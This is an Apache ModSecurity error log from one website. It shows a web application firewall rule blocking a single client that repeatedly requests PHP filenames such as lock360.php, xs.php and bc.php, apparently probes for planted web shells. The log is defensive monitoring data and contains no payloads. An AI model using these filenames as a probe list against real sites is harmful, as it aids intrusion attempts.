[Sat May 16 10:36:29.966550 2026] [:error] [pid 5602:tid 5616] [client 20.151.206.3:27498] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agfYLdzTTsu77r3UIskOBgAAAQw"]
[Sat May 16 10:36:30.386645 2026] [:error] [pid 62210:tid 62215] [client 20.151.206.3:27478] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agfYLsjHonCA4ORo40GwcQAAAkM"]
[Sat May 16 10:36:30.810595 2026] [:error] [pid 62210:tid 62233] [client 20.151.206.3:27546] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agfYLsjHonCA4ORo40GwcgAAAlU"]
[Sat May 16 10:36:31.233527 2026] [:error] [pid 61411:tid 61414] [client 20.151.206.3:27635] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agfYL2VkiEwGnPL_dvHJHAAAAYE"]
[Sat May 16 10:36:31.651766 2026] [:error] [pid 62210:tid 62225] [client 20.151.206.3:27510] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "agfYL8jHonCA4ORo40GwcwAAAk0"]
[Sat May 16 10:36:32.070178 2026] [:error] [pid 61463:tid 61482] [client 20.151.206.3:27632] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "agfYMDXdL1WU7nYXPmTZWQAAAdE"]
[Sat May 16 10:36:32.493249 2026] [:error] [pid 5602:tid 5614] [client 20.151.206.3:27493] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "agfYMNzTTsu77r3UIskOBwAAAQo"]
[Sat May 16 10:36:32.918415 2026] [:error] [pid 62341:tid 62363] [client 20.151.206.3:27581] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a4.php"] [unique_id "agfYMKnvQ59ep-XG78iLjgAAApE"]
[Sat May 16 10:36:33.333521 2026] [:error] [pid 5602:tid 5604] [client 20.151.206.3:27474] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "agfYMdzTTsu77r3UIskOCQAAAQA"]
[Sat May 16 10:36:33.747733 2026] [:error] [pid 62210:tid 62220] [client 20.151.206.3:27457] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "agfYMcjHonCA4ORo40GwdgAAAkg"]
[Sat May 16 10:36:34.172505 2026] [:error] [pid 61411:tid 61417] [client 20.151.206.3:27466] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "agfYMmVkiEwGnPL_dvHJIQAAAYQ"]
[Sat May 16 10:36:34.585850 2026] [:error] [pid 62341:tid 62348] [client 20.151.206.3:27107] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app.php"] [unique_id "agfYMqnvQ59ep-XG78iLkAAAAoI"]
[Sat May 16 10:36:35.005195 2026] [:error] [pid 62341:tid 62351] [client 20.151.206.3:27598] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agfYM6nvQ59ep-XG78iLkQAAAoU"]
[Sat May 16 10:36:35.421950 2026] [:error] [pid 61463:tid 61488] [client 20.151.206.3:27473] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agfYMzXdL1WU7nYXPmTZWgAAAdc"]
[Sat May 16 10:36:35.845150 2026] [:error] [pid 61463:tid 61487] [client 20.151.206.3:27593] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agfYMzXdL1WU7nYXPmTZWwAAAdY"]
[Sat May 16 10:36:36.274124 2026] [:error] [pid 62210:tid 62218] [client 20.151.206.3:27571] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buy.php"] [unique_id "agfYNMjHonCA4ORo40GweAAAAkY"]
[Sat May 16 10:36:36.700678 2026] [:error] [pid 62341:tid 62368] [client 20.151.206.3:27551] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "agfYNKnvQ59ep-XG78iLkgAAApY"]
[Sat May 16 10:36:37.118210 2026] [:error] [pid 5602:tid 5613] [client 20.151.206.3:27578] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "agfYNdzTTsu77r3UIskODAAAAQk"]
[Sat May 16 10:36:37.536342 2026] [:error] [pid 24867:tid 24887] [client 20.151.206.3:27505] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "agfYNSDgFLCgyKq-zmYJyQAAAAY"]
[Sat May 16 10:36:37.949471 2026] [:error] [pid 61463:tid 61465] [client 20.151.206.3:27579] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/core.php"] [unique_id "agfYNTXdL1WU7nYXPmTZXgAAAcA"]
[Sat May 16 10:36:38.367304 2026] [:error] [pid 61411:tid 61418] [client 20.151.206.3:27461] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agfYNmVkiEwGnPL_dvHJIwAAAYU"]
[Sat May 16 10:36:38.804904 2026] [:error] [pid 61411:tid 61427] [client 20.151.206.3:27544] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agfYNmVkiEwGnPL_dvHJJAAAAY4"]
[Sat May 16 10:36:39.219672 2026] [:error] [pid 61361:tid 61376] [client 20.151.206.3:27576] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agfYN5Zojzbt3jGziNkGTgAAAU0"]
[Sat May 16 10:36:39.637751 2026] [:error] [pid 61361:tid 61367] [client 20.151.206.3:27467] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lock360.php"] [unique_id "agfYN5Zojzbt3jGziNkGUAAAAUQ"]
[Sat May 16 10:36:40.056144 2026] [:error] [pid 61361:tid 61368] [client 20.151.206.3:27582] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "agfYOJZojzbt3jGziNkGUQAAAUU"]
[Sat May 16 10:36:40.478124 2026] [:error] [pid 24867:tid 24893] [client 20.151.206.3:27460] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "agfYOCDgFLCgyKq-zmYJywAAAAw"]
[Sat May 16 10:36:40.905419 2026] [:error] [pid 61463:tid 61473] [client 20.151.206.3:27464] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "agfYODXdL1WU7nYXPmTZYQAAAcg"]
[Sat May 16 10:36:41.323436 2026] [:error] [pid 5602:tid 5623] [client 20.151.206.3:27604] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bc.php"] [unique_id "agfYOdzTTsu77r3UIskODwAAARM"]
[Sat May 16 10:36:41.736502 2026] [:error] [pid 5602:tid 5610] [client 20.151.206.3:27499] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agfYOdzTTsu77r3UIskOEAAAAQY"]
[Sat May 16 10:36:42.155499 2026] [:error] [pid 62210:tid 62214] [client 20.151.206.3:27612] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agfYOsjHonCA4ORo40GweQAAAkI"]
[Sat May 16 10:36:42.572421 2026] [:error] [pid 61463:tid 61467] [client 20.151.206.3:27646] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agfYOjXdL1WU7nYXPmTZYgAAAcI"]
[Sat May 16 10:36:42.994603 2026] [:error] [pid 61411:tid 61422] [client 20.151.206.3:27471] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agfYOmVkiEwGnPL_dvHJJgAAAYk"]
[Sat May 16 10:36:43.415352 2026] [:error] [pid 61411:tid 61420] [client 20.151.206.3:27492] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "agfYO2VkiEwGnPL_dvHJJwAAAYc"]
[Sat May 16 10:36:43.831867 2026] [:error] [pid 5602:tid 5608] [client 20.151.206.3:27644] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "agfYO9zTTsu77r3UIskOEQAAAQQ"]
[Sat May 16 10:36:44.254341 2026] [:error] [pid 62210:tid 62219] [client 20.151.206.3:27093] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "agfYPMjHonCA4ORo40GwegAAAkc"]
[Sat May 16 10:36:44.671895 2026] [:error] [pid 24869:tid 24915] [client 20.151.206.3:27475] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "agfYPOxo3FMprMltYl4iKgAAAEc"]
[Sat May 16 10:36:45.089966 2026] [:error] [pid 61463:tid 61476] [client 20.151.206.3:27552] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "agfYPTXdL1WU7nYXPmTZYwAAAcs"]
[Sat May 16 10:36:45.511004 2026] [:error] [pid 24869:tid 24914] [client 20.151.206.3:27485] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "agfYPexo3FMprMltYl4iKwAAAEY"]
[Sat May 16 10:36:45.933928 2026] [:error] [pid 61463:tid 61471] [client 20.151.206.3:27092] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "agfYPTXdL1WU7nYXPmTZZAAAAcY"]
[Sat May 16 10:36:46.375318 2026] [:error] [pid 24869:tid 24917] [client 20.151.206.3:27628] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "agfYPuxo3FMprMltYl4iLQAAAEk"]
[Sat May 16 10:36:46.795084 2026] [:error] [pid 61463:tid 61478] [client 20.151.206.3:27480] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "agfYPjXdL1WU7nYXPmTZZQAAAc0"]
[Sat May 16 10:36:47.214575 2026] [:error] [pid 5602:tid 5609] [client 20.151.206.3:27558] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "agfYP9zTTsu77r3UIskOEgAAAQU"]
[Sat May 16 10:36:47.631421 2026] [:error] [pid 61463:tid 61477] [client 20.151.206.3:27503] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "agfYPzXdL1WU7nYXPmTZZgAAAcw"]
[Sat May 16 10:36:48.043529 2026] [:error] [pid 61361:tid 61382] [client 20.151.206.3:27456] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xs.php"] [unique_id "agfYQJZojzbt3jGziNkGUwAAAVM"]
[Sat May 16 10:36:48.458960 2026] [:error] [pid 61361:tid 61383] [client 20.151.206.3:27638] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "agfYQJZojzbt3jGziNkGVAAAAVQ"]
[Sat May 16 10:36:48.871673 2026] [:error] [pid 61361:tid 61380] [client 20.151.206.3:27086] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "agfYQJZojzbt3jGziNkGVQAAAVE"]
[Sat May 16 10:36:49.284921 2026] [:error] [pid 61361:tid 61381] [client 20.151.206.3:27095] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "agfYQZZojzbt3jGziNkGVgAAAVI"]
[Sat May 16 10:36:49.703653 2026] [:error] [pid 61361:tid 61384] [client 20.151.206.3:27575] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxa.php"] [unique_id "agfYQZZojzbt3jGziNkGVwAAAVU"]
[Sat May 16 10:37:01.789452 2026] [:error] [pid 61361:tid 61381] [client 20.151.206.3:27637] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "agfYTZZojzbt3jGziNkGbgAAAVI"]
[Sat May 16 10:37:02.205413 2026] [:error] [pid 62210:tid 62233] [client 20.151.206.3:27482] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "agfYTsjHonCA4ORo40GwgwAAAlU"]
[Sat May 16 10:37:02.628818 2026] [:error] [pid 62210:tid 62225] [client 20.151.206.3:27565] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "agfYTsjHonCA4ORo40GwhQAAAk0"]
[Sat May 16 10:37:03.069575 2026] [:error] [pid 61361:tid 61375] [client 20.151.206.3:27495] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "agfYT5Zojzbt3jGziNkGbwAAAUw"]
[Sat May 16 10:37:03.487318 2026] [:error] [pid 61361:tid 61369] [client 20.151.206.3:27592] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agfYT5Zojzbt3jGziNkGcgAAAUY"]
[Sat May 16 10:37:03.903086 2026] [:error] [pid 24869:tid 24911] [client 20.151.206.3:27566] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agfYT-xo3FMprMltYl4iMAAAAEM"]
[Sat May 16 10:37:04.317454 2026] [:error] [pid 61361:tid 61385] [client 20.151.206.3:27518] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agfYUJZojzbt3jGziNkGdQAAAVY"]
[Sat May 16 10:37:04.738355 2026] [:error] [pid 24874:tid 24952] [client 20.151.206.3:27479] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "agfYUMiii6x3XidYGHHGzQAAAJE"]
[Sat May 16 10:37:05.171162 2026] [:error] [pid 61411:tid 61421] [client 20.151.206.3:27088] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xltt.php"] [unique_id "agfYUWVkiEwGnPL_dvHJKQAAAYg"]
